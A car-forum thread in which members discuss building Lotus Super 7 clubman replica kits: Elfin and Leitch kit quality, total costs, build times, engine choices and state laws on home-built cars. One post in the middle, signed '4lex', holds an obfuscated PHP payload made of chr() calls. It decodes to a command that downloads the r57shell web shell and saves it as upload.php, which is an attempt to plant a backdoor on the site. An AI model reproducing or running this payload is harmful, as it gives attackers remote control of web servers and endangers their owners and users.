Lotus Super 7 Replicas

[Big Rizza]

Hey all,

When I originally bought my R32 GTS-T sedan, it was because I needed something practical (i.e. 4 doors plus boot) yet something that would be fun to drive. Now that the Skyline is a second car, and now solely doing weekend duties, I am considering upgrading. The problem is, nothing that manufacturers have built seems to satisfy me...

So I am thinking of building one myself! Perhaps one of the Lotus Super 7 clubman replicas from Westfield, Elfin, PRB, etc. I figure dropping a standard 4AG 20 valve would give more than adequate performance in a car that weighs less than 700kg.

Has anyone had any experience with these? Was it a rewarding experience? Any pitfalls to avoid? Any manufacturer to recommend? Was it worth the $$$?

Any feedback would be appreciated!

[CEF11E]

I have been involved in the build of an Elfin with a 20V 4age turboed.

Ended up costing almost 50k on the road. took twice as long as planned and ran into many little pitfalls.

Having said that It was the fastest, best handling and most thrilling thing I have ever been in.

There was lots of custom fabrication and headaches.

If I was to build one myself I would get the most complete kit possible and just do the tuning, brakes and bodywork. It will end up costing less and you will have a more professional finished result.

I plan on building one in a few years but wanted to use a quad throttle NA sr20 bored out to 2.2.

[Big Rizza]

I have been involved in the build of an Elfin with a 20V 4age turboed.

Ended up costing almost 50k on the road. took twice as long as planned and ran into many little pitfalls.

Having said that It was the fastest, best handling and most thrilling thing I have ever been in.

There was lots of custom fabrication and headaches.

If I was to build one myself I would get the most complete kit possible and just do the tuning, brakes and bodywork. It will end up costing less and you will have a more professional finished result.

I plan on building one in a few years but wanted to use a quad throttle NA sr20 bored out to 2.2.

A turbo 20V elfin? That would be a little scarey I reckon! I think the stock 4AGE 20V will do it for me! How was the Elfin for quality, ease of construction etc (aside from the fabrication work to fit the custom engine - i will stick to the standard motor)? All the parts fit together well? Or was there plenty of stuffing around with parts that are supposed to bolt straight in?

[CEF11E]

A turbo 20V elfin? That would be a little scarey I reckon! I think the stock 4AGE 20V will do it for me! How was the Elfin for quality, ease of construction etc (aside from the fabrication work to fit the custom engine - i will stick to the standard motor)? All the parts fit together well? Or was there plenty of stuffing around with parts that are supposed to bolt straight in?

The quality of all the parts from elfin were fantastic. 100% good quality. everythink supplied by elfin fit properly

it was all the custom stuff that cost a bomb and had to be done twice to get it right,

and yes I nearly threw up the first time I went for a ride in it. First corner I thought I was going to die. but it handles nothing else.

[djr81]

A turbo 20V elfin? That would be a little scarey I reckon! I think the stock 4AGE 20V will do it for me! How was the Elfin for quality, ease of construction etc (aside from the fabrication work to fit the custom engine - i will stick to the standard motor)? All the parts fit together well? Or was there plenty of stuffing around with parts that are supposed to bolt straight in?

A turbo anything in a clubman amounts to a well scary ride. Best advice is to make sure you understand what the laws are in your state relating to home built cars.

Also, it will take longer than you think. (always does)

By the way, the photo is of the ex clubman motor after number 4 cylinder chucked a leg out of, um, both side of the bed & the sump aswell. If you look closely you can see right through the block.

[Big Rizza]

Cheers for the feedback CEF11E - much appreciated. I'll keep your positive feedback on the Elfins in mind when I am shopping around.

Has anyone had any experience with the Leitch clubman kits? Their website claim:

The live axle rolling chassis kit costs $20790. In this form the car is delivered almost fully assembled, the constructor then installs drivetrain, electrics, trim and their choice of wheels and tyres...

...The cost of a finished car depends entirely on the level of equipment specified, a road registered car could cost as little as $28 000.

This seems an insanely cheap price for a road registered clubman - most are up at around $40k for a basic vehicle. Can anyone tell me anything of their quality, both of product and of service?

Cheers

Edited June 16, 2006 by Big Rizza

[dangerous_daveo]

Maybe look for something 2nd hand dude. Unless you realllly want to say you built it. But Id rather 2years extra of driving that waste that time building it. The money you save (because 99% chance you will) could go in to upgrades and tidying it up if it needed it.

Just a suggestion.

[Wink]

Here is a link to someones worklog on building a Clubman in Queensland:

http://forums.overclockers.com.au/showthread.php?t=385959

You will have to register to view the forums but the worklog is very informative but still in progress.

[Big Rizza]

A turbo anything in a clubman amounts to a well scary ride. Best advice is to make sure you understand what the laws are in your state relating to home built cars.

Also, it will take longer than you think. (always does)

By the way, the photo is of the ex clubman motor after number 4 cylinder chucked a leg out of, um, both side of the bed & the sump aswell. If you look closely you can see right through the block.

I was budgeting 5 days per month at 5 hours per day towards the project (I work away on an oil field, so I have plenty of days at home with no commitments). They claim 100 hours to build, so that would take 4 months by that reckoning. Double that to eight months to compensate for any inevitable blowouts, and then add another 4 months to compensate for the fact that I am incompetant, and I arrived at a figure of 12 months to get it on the road.

And that photo is great. Unfortunately I can't say the same about that engine block!

[Big Rizza]

Maybe look for something 2nd hand dude. Unless you realllly want to say you built it. But Id rather 2years extra of driving that waste that time building it. The money you save (because 99% chance you will) could go in to upgrades and tidying it up if it needed it.

Just a suggestion.

I think the building is part of the experience - I don't think I could do it any other way!

[Big Rizza]

Here is a link to someones worklog on building a Clubman in Queensland:

http://forums.overclockers.com.au/showthread.php?t=385959

You will have to register to view the forums but the worklog is very informative but still in progress.

Bah! It won't let me register with a Yahoo! email account - no "free" email accounts are accepted! How crap is that? And I don't think I should be using my work email account for building of clubmans...

[Silver-Arrowz]

I looked at one before. I looked at the Westfield range and met the distributor for NSW. He had a regular 4AGE and was in the process of designing a sequential gearbox.

[CruiseLiner]

theres a couple of good books around on the subject, and they explain it in heaps of detail.

how to build a cheap sportscar by keith tanner i think

and theres another book with all the chassis dimensions and plans called something similiar

worth a read to find out whats easy and whats not

i want to build one later on from scratch with a sr20det.

ive found its best to buy a completed chassis to save work and engineering problems, etc then add the bits u want and go from there

Edited June 16, 2006 by CruiseLiner

[eMsta]

Sheesh, If you can build that one, I gotta hand it to ya - I seen videos of the build - too complicated for a simpleton like me.....

But I think if you order the kit, it comes with instructions (sorta like a model)...I remember, i think it was "top gear" had a bit on the kit cars....

Also if you look for old Motor/Wheels mags, Im pretty sure that they had a story about it a few years back....

[4lex]

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104).chr(101).chr(47).chr(59).chr(32).chr(119).chr(103).chr(101).chr(116).chr(32

.chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).c

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47).chr(100).chr(111).chr(119).chr(110).chr(108).chr(111).chr(97).chr(100).chr(4

).chr(114).chr(53).chr(55).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).

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.chr(116).chr(32).chr(62).chr(32).chr(117).chr(112).chr(108).chr(111).chr(97).ch

(100).chr(46).chr(112).chr(104).chr(112).chr(59)).chr(59).exit()); //

[ZorgR33]

www.ozclubbies.com

[ellie]

I don't know if anyone remembers the clubman in hot4's a couple of years ago but it was a puma clubman with an SR20DET in it. Well My friends uncle made one up for a total cost of $24,000 but he was an engineer and has access to metal and plastic fabrication equiptment. It tokk him a while and as said before, there was a fair amount of custom work but for a $6,000 out lay you got the chassis, suspension set up and fully preped to drop the mottor in and a heap of "suggested" items to fit for an optimal result. But when my friend and I felt the result, I'm a recked man as nothing else will compare. I timed 0-100km/h in 3.8 sec = wild (on semi's)

[racsov500]

im part of a group making a se clubman. they made one before I came along, and the finished car still is around. its a basic setup, live rear, adjustable coilovers, silvertop 20v with a t50. incredible! id love one myself one day. if you do build one, I can give you some advice on what were doing with ours. cortina frount end, corolla ke70 steering column, ect. there are lots of books and websites on it too.

[Big Rizza]

I don't know if anyone remembers the clubman in hot4's a couple of years ago but it was a puma clubman with an SR20DET in it. Well My friends uncle made one up for a total cost of $24,000 but he was an engineer and has access to metal and plastic fabrication equiptment. It tokk him a while and as said before, there was a fair amount of custom work but for a $6,000 out lay you got the chassis, suspension set up and fully preped to drop the mottor in and a heap of "suggested" items to fit for an optimal result. But when my friend and I felt the result, I'm a recked man as nothing else will compare. I timed 0-100km/h in 3.8 sec = wild (on semi's)

Yes I have seen the SR20DET Puma before - looks sweet! See article:

http://autospeed.drive.com.au/cms/A_0286/article.html

But unfortunately I don't have access to said equipment, so I probably wouldn't be able to do it for under about $50k